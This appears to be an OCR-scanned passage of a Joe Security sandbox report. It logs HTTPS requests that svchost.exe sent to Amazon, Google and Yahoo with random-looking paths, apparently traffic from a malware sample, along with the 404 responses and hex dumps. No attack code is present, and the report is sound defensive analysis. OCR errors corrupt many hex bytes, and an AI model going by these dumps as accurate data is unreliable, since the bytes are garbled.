Data Raw: fa 08 6b b0 58 1a 44 ed 54 94 c2 2e 7d 8f c1 4a 24 ad 88 2c 77 97 3c eb 6¢ a0 81 7f b0 cf b6 f4 aa cf c7 df 57
4c eb 68 d7 Oc a4 df 42 fb 15 27 33 8a 20 3f b6 38 b5 39 db 70 45 a7 f2 a3 a8 73 2d c0 06 69 af 32 7b f6 7d a6 67 e2 98
01 2e df 3e 36 4¢c 92 df 55 89 e1 08 c¢6 9c 89 12 8d 55 20 cf 11 8d f5 e7 a0 39 bc ef 5a 01 c9 ¢5 d3 60 5¢ e8 37 5f 3f 2e 08
14 db b8 da 2e ac 39 fe 63 d9 c4 23 29 33 3e ec 9f c2 03 46 82 1f 5¢c ea Oc de fa 6d 98 53 df 96 00 44 Oe 1b 5 4b 06 fO 00
da a9 7a 43 9d eb 93 41 8b bb 6e d5 07 70 cc 4e f5 5 28 57 38 65 18 18 87 e4 36 €9 53 f7 a9 62 ce a8 2b 97 ee 39 6d 77
€722 82c5 736168 dd c2 4e 30 c4 4d cf 14 f9 9e d2 90 82 c5 b8 dc 2b ba e5 ff 67 e1 98 78 d1 35 b3 c4 f6 91 7e 59 96
49 cc 6a df ef 85 37 3d f4 58 1f 06 5b 55 a7 91

Data Ascii: kXDT.}J$,w<IWLhB'3 ?89pEs-i2{}g.>6LUU 9Z°\7_?..9c#)3>F\mSDKzCAnpN(W8e6Sbh+9mw"sahNOM+gx5~
YIj7=X[U

Destination IP Destination Port Process

162.219.225.118 443 C:\Windows\System32\svchost.exe

Data

GET /2pch5QEmrLw3xzJnnrzlGabirLxuivFs/ItMi7hhX5tt4vs3rSp9duhmij/z88857flzovnw1025vzu/y10gyol724X611bg
przOjref1Eq2ggRYdMOf7h/mdwb6IxX3n20n6rC6t5yvl/ HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169
Safari/537.36

Host: www.amazon.com

Connection: Keep-Alive

HTTP/1.1 404 Not Found

Connection: close

Content-Length: 897

server: Server

date: Tue, 28 Sep 2021 07:54:02 GMT

content-type: text/html

permissions-policy: interest-cohort=()

x-amz-rid: C980KYOCDT23M4WKPGC9

x-sdch-encode: 0

last-modified: Tue, 10 Aug 2021 22:12:21 GMT

etag: "687-5c93bcbae3b40-gzip”

accept-ranges: bytes

content-encoding: gzip

vary: Accept-Encoding,User-Agent,Content-Type,Accept-Encoding,X-Amzn-CDN-Cache, X-Amzn-AX-Treatment,User-
Agent

strict-transport-security: max-age=47474747; includeSubDomains; preload
x-frame-options: SAMEORIGIN

Data Raw: 1f 8b 08 00 00 00 00 00 00 03 a5 55 5d 6f db 36 14 fd 2b 2c 85 Oe 1 12 59 92 93 74 8d be b0 15 ed 82 3d 6¢
18 d0 00 7b 18 86 80 22 af 28 2e 14 c9 91 57 8e 5d c3 ff 7d 90 e4 d8 6e fa d8 07 11 22 75 ef 3d {7 1c 2 50 €5 1b 61 39 6e
1d 90 Oe 7b 5d 97 87 11 98 a8 cb 1e 90 11 de 31 1f 00 2b 3a 60 1b bf a7 87 d5 Oe d1 c5 f0 df a0 d6 15 dd c4 03 8b b9 ed
1d 43 d5 68 a0 84 5b 83 60 b0 a2 0a 2a 10 12 5e 92 Oc eb al a2 6b 05 cf ce 7a 3¢ 8b 7b 56 02 bb 4a c0 5a 71 88 a7 c9
1551 46 al 62 3a Oe 9¢ 69 a8 b2 2b 12 3a af cc 53 8¢ 36 6e 15 56 c6 d2 ba 44 85 1a ea 5f 7a {6 ¢5 9a 25 b7 3d 9 93 49
20 7§ 58 24 bf da c1 88 32 99 03 ca 80 5b 0d f5 48 ed aa b1 62 bb 73 4c 08 65 64 9e 16 3d 13 52 99 3¢ dd ab 5e ee 1a eb
05 18 3¢ dd 47 ec 2a 6a 76 0d 3 4f d2 8f 85 12 68 75 bd

Data Ascii: o6+, Yt=K{"(.\W]in"u=Padn{]1+: Ch[ *"kz<{VJIZqQFb:i+:S6nVD_z%=I X$2[HbsLed=R<A<G*vOhu

Destination IP Destination Port Process
142.250.185.196 443 C:\Windows\System32\svchost.exe

Data

GET /Nf3BeR1dvs73zpiul00tcpCos/5t19ynEOswdpm3BvhfckigNnvW1ipuyn6 TRC2e2rhjnn5ahx/a5afq4Z2g8xLmcypponB
O0ExM8f/qvvmxlI8k7n0kyoxzrynms7sp5g0/ HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169
Safari/537.36

Host: www.google.com

Connection: Keep-Alive

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Referrer-Policy: no-referrer

Content-Length: 1692

Date: Tue, 28 Sep 2021 07:54:03 GMT

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-T051=":443"; ma=2592000,h3-Q050=":443"; m
a=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
Connection: close
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kBytes
Timestamp transferred

2021-09-28 07:54:.03 UTC 964

2021-09-28 07:54:03 UTC 965

Session ID Source IP

42 192.168.2.3
kBytes

Timestamp transferred

2021-09-28 07:54:03 UTC 966

2021-09-28 07:54:03 UTC 966

2021-09-28 07:54:03 UTC 967

2021-09-28 07:54:03 UTC 968

Session ID Source IP

43 192.168.2.3

Copyright Joe Security LLC 2021

Direction

IN

Source Port

49950

Direction

ouT

Source Port

49952

Data

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e 0a 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65
74612063 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74
20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6¢ 2d 73 63 61 6¢ 65 3d 31 2¢ 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6C
65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6¢ 65 3e 45 72 72 6f 7
220 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6¢ 65 3e 0a 20 20 3c 73 74 79 6¢ 65 3e 0a 20 2
02020 2a7b6d61 726769 6e 3a303b 7061 64 64 69 6e 67 3a 30 7d 68 74 6d 6¢ 2c 63 6f 64 65 7b 66 6f 6 74 3a 31
357078 2f323270 782061 7269 61 6¢ 2c 73 61 6e 73 2d 73 65

Data Ascii: <IDOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1,
minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</tittle> <style> *{margin:0;padding:0}html,co
de{font:15px/22px arial,sans-se

Data Raw: 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 30 25 20 30 25 2f 31 30 30 25
2031 30 30 25 3b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 69 6d 61 67 65 3a 75 72 6¢ 28 2f 2f 77 77 77 2e 67 6f 6 67 6¢ 65
2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6¢ 65 6¢ 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6C 65 6C
6f 67 6f 5f 63 6f 6¢ 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 30 7d 7d 40 6d 65 64 69 61 20 6f 6 6¢ 79 20 73 63
72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6¢ 2d 72 61 74 69
6f 3a 32 29 7b 23 6¢ 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6 64 3a 75 72 6¢ 28 2f 2f 77 77 77 2e 67 6f 6 67 6¢ 65 2e 63 6f
6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e

Data Ascii: r_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/images/branding/g
ooglelogo/2x/googlelogo_color_150x54dp.png) O}}@media only screen and (-webkit-min-device-pixel-ratio:2){#logo
{background:url(//www.google.com/images/brandin

Destination IP Destination Port Process

87.248.100.216 443 C:\Windows\System32\svchost.exe

Data

GET /rAYqlr7w2jOed6cqvhudH4V3ixry/sly 7yksizeng2x202Hfhb/9XAch6x8go6Neaal/ HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169
Safari/537.36

Host: www.yahoo.com

Connection: Keep-Alive

Cookie: B=clggcmtgl5iga&b=3&s=a5

HTTP/1.1 404 Not Found

date: Tue, 28 Sep 2021 07:54:03 GMT

p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi
CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBIi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL
HEA PRE LOC GOV"

cache-control: private

x-content-type-options: nosniff

content-type: text/html; charset=UTF-8

X-envoy-upstream-service-time: 8

server: ATS

Content-Length: 708

Age: 0

Connection: close

Strict-Transport-Security: max-age=31536000

Content-Security-Policy: frame-ancestors 'self' https://*.builtbygirls.com https://*.rivals.com https://*.engadget.com https://*.i
ntheknow.com https://*.autoblog.com https://*.techcrunch.com https://*.yahoo.com https://*.aol.com https://*.huffingtonp
ost.com https://*.oath.com https://*.search.yahoo.com https://*.search.aol.com https://*.search.huffpost.com https://*.v
erizonmedia.com https://*.publishing.oath.com https://*.autoblog.com; sandbox allow-forms allow-same-origin allow-scripts
allow-popups allow-popups-to-escape-sandbox allow-presentation; report-uri https://csp.yahoo.com/beacon/csp?src=ats&si
te=frontpage&region=US&lang=en-US&device=desktop&yrid=atlOnalgl5igr&partner=;

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 42 3d 63 6¢c 67 67 63 6d 74 67 6¢ 35 69 67 61 26 62 3d 33 26 73 3d 61 35
3b 20 45 78 70 69 72 65 73 3d 57 65 64 2c 20 32 38 20 53 65 70 20 32 30 32 32 20 31 33 3a 35 34 3a 30 33 20 47 4d 54
3b 20 4d 61 78 2d 41 67 65 3d 33 31 35 35 37 36 30 30 3b 20 44 6f 6d 61 69 6e 3d 2e 79 61 68 6f 6f 2e 63 6f 6d 3b 20 50
61 74 68 3d 2f 0d 0a 45 78 70 65 63 74 2d 43 54 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 2c 20 72 65 70 6f
72742d 7572 69 3d 22 68 74 74 70 3a 2f 2f 63 73 70 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 62 65 61 63 6f 6e 2f 63 73 70 3f 73
72 63 3d 79 61 68 6f 6f 63 6f 6d 2d 65 78 70 65 63 74 2d 63 74 2d 72 65 70 6f 72 74 2d 6f 6e 6¢ 79 22 0d Oa 52 65 66 65
7272 65 72 2d 50 6f 6¢ 69 63 79 3a 20 6e 6f 2d 72 65 66

Data Ascii: Set-Cookie: B=clggcmtgl5iga&b=3&s=a5; Expires=Wed, 28 Sep 2022 13:54:03 GMT; Max-Age=31557600;
Domain=.yahoo.com; Path=/Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=y
ahoocom-expect-ct-report-only“Referrer-Policy: no-ref

Data Raw: 3c 68 74 6d 6¢ 3e Oa 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 27 75 74 66 2d 38 27 3e 0a 3c 7363 72 69 70
74 3e 0a 76 61 72 20 75 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 3f 65 72 72 3d 34 30 34 26
65 72 72 5f 75 72 6¢ 3d 68 74 74 70 73 25 33 61 25 32 66 25 32 66 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 25 32 66 72 41
59 71 6¢ 72 37 77 32 6a 4f 65 64 36 63 71 76 68 75 64 48 34 56 33 66 78 72 79 25 32 66 73 6¢ 79 37 79 6b 73 69 7a 63
6e 67 32 78 32 4f 32 48 66 68 62 25 32 66 39 58 41 63 62 36 78 38 67 6f 36 4e 65 61 61 55 25 32 66 27 3b Oa 69 66 28

77 69 6e 64 6f 77 21 3d 77 69 6e 64 6f 77 2e 74 6f 70 29 7b Oa 20 20 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 27 3c
70 3e 43 6f 6e 74 65 6e 74 20 69 73 20 63 75 72 72 65 6e 74

Data Ascii: <htmI><meta charset="'utf-8'><script>var u="https://www.yahoo.com/?err=404&err_url=https%3a%2f%2fww
w.yahoo.com%2frAYqlr7w2jOed6cqvhudH4V 3fxry%2fsly 7yksizeng2x202Hfhb%2f9X Acb6x8go6NeaaU%2f';if(window!
=window.top){ document.write('<p>Content is current

Destination IP Destination Port Process

142.250.185.196 443 C:\Windows\System32\svchost.exe
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kBytes
Timestamp transferred

2021-09-28 07:54:04 UTC 968

2021-09-28 07:54:04 UTC 969

2021-09-28 07:54:04 UTC 969

2021-09-28 07:54:04 UTC 970

Session ID Source IP

44 192.168.2.3
kBytes

Timestamp transferred

2021-09-28 07:54:04 UTC 970

2021-09-28 07:54:04 UTC 971

2021-09-28 07:54:04 UTC 971

Session ID Source IP

45 192.168.2.3
kBytes

Timestamp transferred

Copyright Joe Security LLC 2021

Direction

ouT

Source Port

49953

Direction

ouT

Source Port

49962

Direction

Data

GET /1jmdPabGebdo2ZpnhGkr759rncfffSyaodi2yzxpscw5t/1psa7nilmcovum8gAymast86Pr/ HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169
Safari/537.36

Host: www.google.com

Connection: Keep-Alive

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Referrer-Policy: no-referrer

Content-Length: 1634

Date: Tue, 28 Sep 2021 07:54:04 GMT

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-T051=":443"; ma=2592000,h3-Q050=":443"; m
a=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
Connection: close

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e Oa 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65
74612063 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74
20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6¢ 2d 73 63 61 6¢ 65 3d 31 2¢ 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6C
65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6¢ 65 3e 45 72 72 6f 7
2 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6¢ 65 3e 0a 20 20 3c 73 74 79 6¢ 65 3e 0a 20 2
02020 2a7b6d61 726769 6e 3a303b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6¢ 2c 63 6f 64 65 7b 66 6f 6 74 3a 31
357078 2f 323270 78 20 61 72 69 61 6¢ 2¢c 73 61 6e 73 2d 73 65

Data Ascii: <IDOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1,
minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</titte> <style> *{margin:0;padding:0}html,co
de{font:15px/22px arial,sans-se

Data Raw: 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 30 25 20 30 25 2f 31 30 30 25
2031 30 30 25 3b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 69 6d 61 67 65 3a 75 72 6¢ 28 2f 2f 77 77 77 2e 67 6f 6f 67 6¢ 65
2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6¢ 65 6¢ 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6C 65 6C
6f 67 6f 5f 63 6f 6¢ 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 30 7d 7d 40 6d 65 64 69 61 20 6f 6e 6¢ 79 20 73 63
72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6¢ 2d 72 61 74 69
6f 3232 29 7b 23 6¢ 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6€ 64 3a 75 72 6¢ 28 2f 2f 77 77 77 2e 67 6f 6f 67 6¢ 65 2e 63 6f
6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e

Data Ascii: r_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/images/branding/g
ooglelogo/2x/googlelogo_color_150x54dp.png) 0}}@media only screen and (-webkit-min-device-pixel-ratio:2){#logo
{background:url(//www.google.com/images/brandin

Destination IP Destination Port Process

162.219.225.118 443 C:\Windows\System32\svchost.exe

Data

GET /qvE8klaeloscwZofgUuleoh6tadbdggm5e6wac26/ HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169
Safari/537.36

Host: www.amazon.com

Connection: Keep-Alive

HTTP/1.1 404 Not Found

Connection: close

Content-Length: 897

server: Server

date: Tue, 28 Sep 2021 07:54:04 GMT

content-type: text/html

permissions-policy: interest-cohort=()

x-amz-rid: 6NC712Y699X4R3G24WK6

x-sdch-encode: 0

last-modified: Tue, 10 Aug 2021 22:12:21 GMT

etag: "687-5c93bcbae3b40-gzip”

accept-ranges: bytes

content-encoding: gzip

vary: Accept-Encoding,User-Agent,Content-Type,Accept-Encoding,X-Amzn-CDN-Cache, X-Amzn-AX-Treatment,User-
Agent

strict-transport-security: max-age=47474747; includeSubDomains; preload
x-frame-options: SAMEORIGIN

Data Raw: 1f 8b 08 00 00 00 00 00 00 03 a5 55 5d 6f db 36 14 fd 2b 2c 85 Oe f1 12 59 92 93 74 8d be b0 15 ed 82 3d 6¢
18.d0 00 7b 18 86 80 22 af 28 2e 14 c9 91 57 8e 5d c3 ff 7d 90 e4 d8 6e fa d8 07 11 22 75 ef 3d {7 1c f2 50 e5 1b 61 39 6e
1d 90 Oe 7b 5d 97 87 11 98 a8 cb 1e 90 11 de 31 1f 00 2b 3a 60 1b bf a7 87 d5 Oe d1 c5 f0 df a0 d6 15 dd c4 03 8b b9 ed
1d 43 d5 68 a0 84 5b 83 60 b0 a2 0a 2a 10 12 5e 92 Oc eb al a2 6b 05 cf ce 7a 3¢ 8b 7b 56 02 bb 4a c0 5a 71 88 a7 c9
1551 46 al 62 3a Oe 9c 69 a8 b2 2b 12 3a af cc 53 8c 36 6e 15 56 c6 d2 ba 44 85 1a ea 5f 7a f6 ¢5 9a 25 b7 3d f9 93 49
20 7f 58 24 bf da c1 88 32 99 03 ca 80 5b 0d f5 48 ed aa b1 62 bb 73 4c 08 65 64 9e 16 3d f3 52 99 3c dd ab 5e ee 1a eb
05 f8 3c dd 47 ec 2a 6a 76 0d e3 4f d2 8f 85 f2 68 75 bd

Data Ascii: UJo6+, Yt={"(.W]in"u=Padn{]1+: Ch[ *"kz<{VJZqQFb:i+:S6nVD_z%=I X$2[HbsLed=R<"<G*vOhu

Destination IP Destination Port Process

87.248.100.216 443 C:\Windows\System32\svchost.exe

Data
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kBytes
Timestamp transferred

2021-09-28 07:54:.06 UTC 972

2021-09-28 07:54:06 UTC 973

2021-09-28 07:54:06 UTC 974

2021-09-28 07:54:06 UTC 974

Session ID Source IP

46 192.168.2.3
kBytes

Timestamp transferred

2021-09-28 07:54:06 UTC 975

2021-09-28 07:54:07 UTC 975

Copyright Joe Security LLC 2021

Direction

ouT

Source Port
49963

Direction
ouT

Data

GET /gp1mx3dnqvlii3z8e4ds3flglze00ff03/kgyazm22ncy02xhviuwaGOi/4gk2n6ADimgokv8wNbzcBhmC/jkg8Pd2n7Qiq
fkpLmwDbmx5lbwT9nlpSpwwvoo6V/2A99jMOyPjwg9a3uyplpmlJzuXfFI7ghte/ HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169
Safari/537.36

Host: www.yahoo.com

Connection: Keep-Alive

Cookie: B=clggcmtgl5iga&b=3&s=a5

HTTP/1.1 404 Not Found

date: Tue, 28 Sep 2021 07:54:06 GMT

p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi
CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL
HEA PRE LOC GOV"

cache-control: private

x-content-type-options: nosniff

content-type: text/html; charset=UTF-8

X-envoy-upstream-service-time: 8

server: ATS

Content-Length: 898

Age: 0

Connection: close

Strict-Transport-Security: max-age=31536000

Content-Security-Policy: frame-ancestors 'self' https://*.builtbygirls.com https://*.rivals.com https://*.engadget.com https://*.i
ntheknow.com https://*.autoblog.com https://*.techcrunch.com https://*.yahoo.com https://*.aol.com https://*.huffingtonp
ost.com https://*.0ath.com https://*.search.yahoo.com https://*.search.aol.com https://*.search.huffpost.com https://*.v
erizonmedia.com https://*.publishing.oath.com https://*.autoblog.com; sandbox allow-forms allow-same-origin allow-scripts
allow-popups allow-popups-to-escape-sandbox allow-presentation; report-uri https://csp.yahoo.com/beacon/csp?src=ats&si
te=frontpage&region=US&lang=en-US&device=desktop&yrid=7hohkn1gl5igu&partner=;

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 42 3d 63 6¢c 67 67 63 6d 74 67 6¢ 35 69 67 61 26 62 3d 33 26 73 3d 61 35
3b 20 45 78 70 69 72 65 73 3d 57 65 64 2c 20 32 38 20 53 65 70 20 32 30 32 32 20 31 33 3a 35 34 3a 30 36 20 47 4d 54
3b 20 4d 61 78 2d 41 67 65 3d 33 31 35 35 37 36 30 30 3b 20 44 6f 6d 61 69 6e 3d 2e 79 61 68 6f 6f 2e 63 6f 6d 3b 20 50
61 74 68 3d 2f 0d Oa 45 78 70 65 63 74 2d 43 54 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 2¢ 20 72 65 70 6f
7274 2d 7572 69 3d 22 68 74 74 70 3a 2f 2f 63 73 70 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 62 65 61 63 6f 6e 2f 63 73 70 3f 73
72 63 3d 79 61 68 6f 6f 63 6f 6d 2d 65 78 70 65 63 74 2d 63 74 2d 72 65 70 6f 72 74 2d 6f 6e 6¢ 79 22 0d Oa 52 65 66 65
7272 65 72 2d 50 6f 6¢ 69 63 79 3a 20 6e 6f 2d 72 65 66

Data Ascii: Set-Cookie: B=clggcmtgl5iga&b=3&s=a5; Expires=Wed, 28 Sep 2022 13:54:06 GMT; Max-Age=31557600;
Domain=.yahoo.com; Path=/Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=y
ahoocom-expect-ct-report-only“Referrer-Policy: no-ref

Data Raw: 3c 68 74 6d 6¢ 3e Oa 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 27 75 74 66 2d 38 27 3e 0a 3c 73 63 72 69 70
74 3e 0a 76 61 72 20 75 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 3f 65 72 72 3d 34 30 34 26
6572 72 5f 75 72 6¢ 3d 68 74 74 70 73 25 33 61 25 32 66 25 32 66 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 25 32 66 67 70
31 6d 78 33 64 6e 71 76 6¢ 69 69 33 7a 38 65 34 64 73 33 66 6¢ 71 6¢ 7a 65 30 30 66 66 30 33 25 32 66 6b 71 79 61 7a
6d 32 32 6e 63 79 30 32 78 68 76 6¢ 75 77 61 47 4f 69 25 32 66 34 67 6b 32 6e 36 41 44 69 6d 71 6f 6b 76 38 77 4e 62 7a
63 42 68 6d 43 25 32 66 6a 6b 67 38 50 64 32 6e 37 51 69 71 66 6b 70 31 6d 77 44 62 6d 78 35 6¢ 62 77 54 39 6e 49 70
357077 77 76 6f 6f 36 56 25 32 66 32 41 39 39 6a 4d 30 79

Data Ascii: <html><meta charset="utf-8'><script>var u="https://www.yahoo.com/?err=404&err_url=https%3a%2{%2fww
w.yahoo.com%2fgplmx3dnqvlii3z8e4ds3flqlze00ff03%2fkqyazm22ncy02xhviuwaGOi%2f4gk2n6 ADimgokv8wNbzcBhmC
%2fjkg8Pd2n7QigfkplmwDbmx5IbwTInIp5pwwyvoo6V%2f2A99]MOy

Destination IP  Destination Port Process
162.219.225.118 443 C:\Windows\System32\svchost.exe

Data

GET /nng2n2tsj68tcR2D6WEN4s7HCI7IqD/qt8Cnkw3e004m0Obem4i2rksscshpKgev2a0jyOo5vioN/ HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169
Safari/537.36

Host: www.amazon.com

Connection: Keep-Alive

HTTP/1.1 404 Not Found

Connection: close

Content-Length: 897

server: Server

date: Tue, 28 Sep 2021 07:54:06 GMT

content-type: text/html

permissions-policy: interest-cohort=()

x-amz-rid: OKB6TKT7XVSPJZFRIND8

x-sdch-encode: 0

last-modified: Tue, 10 Aug 2021 22:12:21 GMT

etag: "687-5c93bcbae3b40-gzip"

accept-ranges: bytes

content-encoding: gzip

vary: Accept-Encoding,User-Agent,Content-Type,Accept-Encoding,X-Amzn-CDN-Cache,X-Amzn-AX-Treatment,User-
Agent

strict-transport-security: max-age=47474747; includeSubDomains; preload
x-frame-options: SAMEORIGIN
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kBytes
Timestamp transferred

2021-09-28 07:54:.07 UTC 976

Session ID Source IP

47 192.168.2.3
kBytes

Timestamp transferred

2021-09-28 07:54:.07 UTC 977

2021-09-28 07:54:.07 UTC 977

2021-09-28 07:54:07 UTC 978

2021-09-28 07:54:07 UTC 978

Session ID Source IP

48 192.168.2.3
kBytes

Timestamp transferred

2021-09-28 07:54:09 UTC 979

Copyright Joe Security LLC 2021

Direction

IN

Source Port

49964

Direction

ouT

Source Port
49966

Direction

ouT

Data

Data Raw: 1f 8b 08 00 00 00 00 00 00 03 a5 55 5d 6f db 36 14 fd 2b 2c 85 Oe f1 12 59 92 93 74 8d be b0 15 ed 82 3d 6¢
18 d0 00 7b 18 86 80 22 af 28 2e 14 ¢9 91 57 8e 5d c3 ff 7d 90 e4 d8 6e fa d8 07 11 22 75 ef 3d f7 1c f2 50 e5 1b 61 39 6e
1d 90 Oe 7b 5d 97 87 11 98 a8 cb 1e 90 11 de 31 1f 00 2b 3a 60 1b bf a7 87 d5 Oe d1 c5 fO df a0 d6 15 dd c4 03 8b b9 ed
1d 43 d5 68 a0 84 5b 83 60 b0 a2 0a 2a 10 12 5e 92 Oc eb al a2 6b 05 cf ce 7a 3c 8b 7b 56 02 bb 4a c0 5a 71 88 a7 c9
1551 46 al 62 3a Oe 9c 69 a8 b2 2b 12 3a af cc 53 8c 36 6e 15 56 c6 d2 ba 44 85 1a ea 5f 7a f6 c5 9a 25 b7 3d f9 93 49
20 7f 58 24 bf da c1 88 32 99 03 ca 80 5b 0d 5 48 ed aa b1 62 bb 73 4c 08 65 64 9e 16 3d f3 52 99 3c dd ab 5e ee 1a eb
05 f8 3c dd 47 ec 2a 6a 76 0d e3 4f d2 8f 85 f2 68 75 bd

Data Ascii: UJo6+,Yt=I{"(. W][}n"u=Pa9n{]1+: Ch[ *"kz<{VJIZqQFb:i+:S6nVD_z%=I X$2[HbsLed=R<"<G*jvOhu

Destination IP Destination Port Process

87.248.100.216 443 C:\Windows\System32\svchost.exe

Data

GET /1he7n45hgqdN6Hete7vii3Bz0ipXe67z/8mg2j7fr87r6oelulRuh4reckhZ0geuedh16lumt2/g8bvtmAnOg2tsvjxcghm
bpstytjBTk54/0dpi7rhéqvzwenxrr/q57000gjZ2j7e5ID/ HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169
Safari/537.36

Host: www.yahoo.com

Connection: Keep-Alive

Cookie: B=clggcmtgl5iga&b=3&s=a5

HTTP/1.1 404 Not Found

date: Tue, 28 Sep 2021 07:54:06 GMT

p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi
CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBIi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL
HEA PRE LOC GOV"

cache-control: private

x-content-type-options: nosniff

content-type: text/html; charset=UTF-8

X-envoy-upstream-service-time: 8

server: ATS

Content-Length: 866

Age: 1

Connection: close

